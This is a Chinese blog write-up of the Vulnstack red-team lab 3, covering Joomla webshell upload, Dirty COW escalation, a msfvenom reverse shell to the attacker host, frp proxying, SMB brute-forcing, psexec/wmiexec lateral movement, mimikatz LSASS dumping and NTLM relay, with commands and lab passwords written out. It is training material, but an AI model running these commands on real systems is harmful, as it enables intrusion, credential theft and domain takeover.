内网靶场--红日靶场三

一、靶场信息

红日安全出品——ATT&CK实战系列——红队实战(三)

靶场详情地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

下载地址:https://pan.baidu.com/s/1iy4MIy6ni6d9F3iypeCYVQ  密码: 7mhi

下载后虚拟机导入即可,可以先把web1-ubantu、web-centos开启,其他三台等用的在开启

 二、外网阶段

1、先看web-centos这台主机,它使用了桥接模式,可以使用nmap扫描一下地址,也可以直接进入主机查看ip,我这直接进入主机看

IP:192.168.1.103

 2、对192.168.1.103这台机子进行信息收集,简单一扫,扫出了ssh、mysql弱口令和80端口。攻击方向:ssh爆破、mysql查找数据或getshell、80站点存在getshell

 3、先查看网站情况,识别出是Joomal框架

4、查看Joomal框架历史漏洞,使用工具扫 https://github.com/OWASP/joomscan,在kali上使用好一点。得到版本号、路径信息、配置文件泄露信息

 

 5、经过收集,joomla可以通过后台模板上传进行getshell。但是此时已经有数据库账号密码了,尝试一下mysql的getshell

mysql查询日志getshell

1、mysql中getshell的方式有好几种,但是最后的还是日志查询getshell,受到的限制比价小。

2、日志查询getshell的命令如下

查看开启情况:show variables like '%general%';
开启查询日志:set global general_log=on;
设置查询日志存储路径:set global general_log_file='D:\\\\phpstudy\\www\\shell.php';
查询一句话:select '<?php phpinfo();?>';
最后关闭查询日志:set golbal general_log=off;

3、但是很可惜,没有权限

 Joomla后台getshell

1、joomla后台getshell是通过修改模板进行getshell的需要一个后台权限,此时已经拥有数据库的root权限,往数据库添加一个用户就行了

2、但是怎么能知道数据库中那张表保存登录的数据呢?数据一般都是加密存储的要怎么加密或解密呢?此时可以去官网中寻找答案 

  https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

 给出了sql语句,修改对应的表名即可

INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());

INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');

3、登录后台 admin2 secret

 

 4、模板getshell

 

 返回查看文件时发现没有内容,重新shell放上去编辑区就好了,然后保存

 

 5、连接shell,地址为 http://192.168.1.103/templates/beez3/shell.php,记得修改为自己的ip

 

6、绕过disable_fuctions。连接后发现执行不了命令,此时需要用到蚁剑的一个插件,没有的去蚁剑的插件市场找就好啦

 至此进入内网

三、内网阶段

一般拿到一台主机后,首先要做的是收集当前主机信息,如查看配置文件、密码本、网卡信息等

find /tmp/ -type f|egrep -v "*.js"|egrep -v "*.css"|egrep -v "*.html"|egrep -v "*.htm"|egrep -v "*.woff"|egrep -v "*.jar"|egrep -v "*.java"|egrep -v "*.class"|egrep -v "*.properties"|egrep -v "*.MF"|egrep -v "*.tmp"|egrep -v "*.vm"|egrep -v "*.svn*"|egrep -v "*LICENSE*"|egrep -v "*.exe"|egrep -v "*.xml"|egrep -v "*.txt"|egrep -v "*.svg"|xargs egrep -s -i  "*user:|*user=|username:|username=|*pass:|*pass=|password:|password=|passwd:|passwd=|账号:|账号:|用户名:|用户名:|密码:|密码:" --color

ps:不知道为啥上面的命令找不出密码

3.1、主机信息收集

网卡信息:

 版本信息:

 不能出网:

 密码收集:

mysql:root 123、testuser cvcvgjASD!@

未知账号密码(/tmp/mysql/test.txt):

adduser wwwuser
passwd wwwuser_123Aqx

3.2、发现其他主机账号密码

1、在/tmp/mysql/test.txt中保存了账号密码信息,在前面的端口扫描中正好192.168.1.103这台主机开启了22端口

2、使用密码尝试连接,可以连接得上

3.3、脏牛提权

1、上传linux提权检测脚本,下载地址:https://github.com/The-Z-Labs/linux-exploit-suggester

 2、检测出CVE-2016-5195,脏牛提权。

脏牛提权概述:该漏洞是Linux的一个本地提权漏洞,发现者是Phil Oester,影响>=2.6.22的所有Linux内核版本,修复时间是2016年10月18号。该漏洞的原因是get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。当我们向带有MAP_PRIVATE标记的只读文件映射区域写数据时,会产生一个映射文件的复制(COW),对此区域的任何修改都不会写回原来的文件,如果上述的竞态条件发生,就能成功的写回原来的文件。比如我们修改su或者passwd程序就可以达到root的目的。

3、工具地址:https://github.com/FireFart/dirtycow

4、将dirty.c文件上传到192.168.1.103这台主机中,执行gcc -pthread dirty.c -o dirty -lcrypt 命令编译生成 dirty 可执行文件,执行 ./dirty password 进行提权

gcc -pthread dirty.c -o dirty -lcrypt 

 5、使用su进行用户切换

su firefart
密码:password

 6、接下来继续对192.168.1.103这台主机进行信息收集,然而没什么东西

7、整理一下收集成果。

web入口shell:主机不出网

192.168.1.103:主机出网

密码收集:123,cvcvgjASD!@,wwwuser_123Aqx

用户名:root ,testuser,wwwuser

内网网段:192.168.93.0/24

3.3、横向攻击

所谓横向攻击就是对当前机器所在网段中的其他主机进行攻击。攻击前首先要进行内网主机存活扫描、端口扫描等,扫描方式有很多,比如上线cs/msf,上传fscan工具进行扫描等

3.3.1、内网信息收集

我这里通过msf上线进行内网主机扫描。

1、msf上线,可出网(192.168.1.103)这台主机

生成木马,并上传到攻击机中,本地kali的ip为192.168.1.104

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=4444 -f elf > shell.elf

上传木马到攻击机,并赋予执行权限,一般都上传到tmp目录中

chmod +x shell.elf
./shell.elf

开启msf进行监听

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.104
set lport 4444
run

 2、msf配置路由,进行内网smb存活扫描,可以适当调整扫描线程,默认1

run autoroute -s 192.168.93.0/24
background
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
set threads 10 exploit

3、扫描到三台主机10,20,30,并且存在域TEST

 3.3.2、横向攻击

frp反向代理配置:

进行横向攻击前先搭一个反向代理吧,我这里使用的是frp,根据需求下载对应版本,实际中可能要考虑免杀。下载地址:https://github.com/fatedier/frp/releases/tag/v0.51.2

服务器端(kali):

[common]
bind_addr = 0.0.0.0
bind_port = 3333
token = Talent

 客户端(受害机192.168.1.103):

复制代码
[common]
server_addr = 192.168.1.104
server_port = 3333
token = Talent
[http_proxy8]
type = tcp
remote_port = 50002
plugin = socks5 
plugin_user = aaa
plugin_passwd = Aaa
复制代码

 连接成果:

解法1:smb密码爆破

smb密码爆破就得看个人的字典了,我字典没该靶场的smb密码(哈哈),所以密码是看别的佬的。

1、msf进行smb密码密码爆破,得到20和30这两台主机的密码 administrator 123qwe!ASD

use auxiliary/scanner/smb/smb_login
set smbuser administrator
set pass_file /root/tools/dict/vul-pass.txt
set rhosts 192.168.93.20
run

PsExec smb利用

msf进行登录,这里主要使用了PsExec进行利用(我使用kali2021的msf测试不成功,别人使用kali2019的msf能成功)

参考:https://www.cnblogs.com/tomyyyyy/p/14667204.html

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.20
set smbuser administrator
set smbpass 123qwe!ASD
run

kali正向代理配置

kali配置代理主要使用了kali自带的proxychains这款工具,这款工具需要修改配置文件/etc/proxychains.conf

cp /etc/proxychains4.conf /etc/proxychains.conf    #因为etc目录下没有文件proxychains.conf所以要copy一下,如果有就不用啦
vi /etc/proxychains.conf
#滑到最后写入 socks5 192.168.1.104 50002 aaa Aaa 

wmiexec smb利用

WMI(Windows Management Instrumentation,Windows 管理规范)是一项核心的 Windows 管理技术;用户可以使用 WMI 管理本地和远程计算机。         

作用:WMI以CIMOM为基础,CIMOM即公共信息模型对象管理器(Common Information Model Object Manager),是一个描述操作系统构成单元的对象数据库,为MMC和脚本程序提供了一个访问操作系统构成单元的公共接口。有了WMI,工具软件和脚本程序访问操作系统的不同部分时不需要使用不同的API;相反,操作系统的不同部分都可以插入WMI,工具软件和脚本程序可以方便地读写WMI。

 WMI 可以管理本地和远程计算机,攻击者使用 wmi 攻击时 windows 系统默认不会在日志中记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。

wmiexec下载地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python3 -m pip install  .  (pip install . 两个空格)

在我使用kali进行安装pip install安装时提示下载pip3,下载后出现包冲突,但是包冲突并没有影响wmiexec.py

wmiexec连接,连接后就行正常输入命令啦

proxychains4 python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'

 拿到主机后正常的信息收集咯。在域内,域控一般就是dns的地址

查找域控的一些命令

查看域控制器机器名 nltest /DCLIST:124-hack
查看域控制器的主机名 nslookup -type=SRV _ldap._tcp
查看当前时间 net time /domain
查看域控制器组 net group "Domain Controllers" /domian
    查看域控制器机器名 netdom query pdc

 mimikatz获取凭证

获取凭证的方式也有很多种,可以直接上传mimikatz上去,也可以dump下来到本地种解密

方式一:使用微软自带的工具procdump,下载地址https://learn.microsoft.com/en-us/sysinternals/downloads/procdump

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

将lsass.dmp文件方法mimikatz所在目录,执行

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"

方式二:本地执行,可以上传到目标系统或使用3389复制过去

通过smb共享mimikatz

smbclient //192.168.93.20/C$ -U administrator
put mimikatz.exe

3389复制

查看是否开启3389远程桌面

#查看是否开启
netstat -an | find “3389”
#开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#关闭
https://www.cnblogs.com/Fluorescence-tjy/p/9835743.html

win主机配置代理,连接192.168.93.20远程桌面

下载安装Proxifier,配置。下载使用地址:https://blog.zgsec.cn/index.php/archives/278/

 复制mimikatz,已经是管理员权限了直接运行

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

 抓到域控制器的密码zxcASDqw123!!

连接域控

使用wmiexec连接

proxychains4 python3 wmiexec.py -debug 'administrator:zxcASDqw123!!@192.168.93.10'

 在正常HW攻防过程中,还会收集域控所管理的终端数量、数据库、密码本等信息进行战果的扩大

 解法2:mssql xp_dirtree NTLM Relay攻击

 通过前面收集到的数据库密码进行横向密码喷射,192.168.93.20这台主机的mssql能使用testuser/cvcvgjASD!@ 进行登录,但是由于权限问题无法执行xp_cmdshell。

具体原因由于篇幅问题,单独拿一篇来写,简单来说就是MSSQL 协议可以携带 NTLM 认证的三类消息( NTLMv1 NTLMv2 NTLMv2 session)

 工具:https://github.com/lgandx/Responder/

python 2.6.x使用2.3.3.0版本(修改settings.py内容),python 2.7.x使用2.3.4.0版本

修改原因:因为subprocess.check_output()函数在Python 2.6.x版本中是不可用的。这个函数是在Python 2.7版本中引入的,所以当你使用Python 2.7.x版本时,代码可以正常运行,但在使用Python 2.6.x版本时会出错。

process = subprocess.Popen(["ifconfig", "-a"], stdout=subprocess.PIPE)
NetworkCard, _ = process.communicate()
process2 = subprocess.Popen(["cat", "/etc/resolv.conf"], stdout=subprocess.PIPE)
DNS,_ = process2.communicate()
process3 = subprocess.Popen(["netstat", "-rn"], stdout=subprocess.PIPE)
RoutingInfo,_ = process3.communicate()

 

使用:
脚本扫描域内机器的 SMB 签名的开放情况,域控默认开启,其他默认关闭,工具所在路径/Responder-2.3.3.0/tools/RunFinger.py

python RunFinger.py -i 192.168.93.0/24

利用 MultiRelay.py 攻击,获得目标主机的 shell,工具所在路径/Responder-2.3.3.0/tools/MultiRelay.py

 python MultiRelay.py -t 192.168.93.30 -u ALL

利用Responder.py 攻击,获取目标机器的NTLM v2 hash值,工具所在路径/Responder-2.3.3.0/Responder.py

 python Responder.py -I eth0

使用MultiRelay或Responder运行监听后,要触发NTLM,使用msf触发或连接数据库手动触发

手动触发,这里的IP是你在那个主机上执行MultiRelay或Responder就使用那个主机的ip,靶场中的两台Linux主机都能使用

EXEC master.sys.xp_dirtree '\\192.168.93.100\simblog.txt',0,1;

msf触发

use auxiliary/admin/mssql/mssql_ntlm_stealer
set rhosts 192.168.93.20
set smbproxy 192.168.93.100
set username testuser
set password cvcvgjASD!@
run

不过在测试过程中我只获取到了NTLM hash值,通过MultiRelay获取不到shell,可能环境问题吧。

 总结:

这个靶场还是学习到不少东西的(大佬除外)。包括但不限于:指纹识别cms到getshell、主机信息收集、正反向代理、脏牛/Ubuntu提权、smb扫描到域、NTLM Relay攻击等。特别是NTLM Relay攻击花费了好多时间。期间还尝试了cs上线linux、正反向代理上线Cs/Msf等。文章写得不多,上下文逻辑衔接还有点乱,佬们见谅。继续加油吧!

 

参考:

https://blog.csdn.net/qq_36241198/article/details/120950237

https://blog.csdn.net/qq_60115503/article/details/124120094

https://xz.aliyun.com/t/3560#toc-0

https://github.com/jas502n/sangfor/blob/master/1earn/Security/RedTeam/OS%E5%AE%89%E5%85%A8/%E5%AE%9E%E9%AA%8C/NTLM%E4%B8%AD%E7%BB%A7.md

posted @   chm0d的安全避风港  阅读(2138)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~
点击右上角即可分享
微信分享提示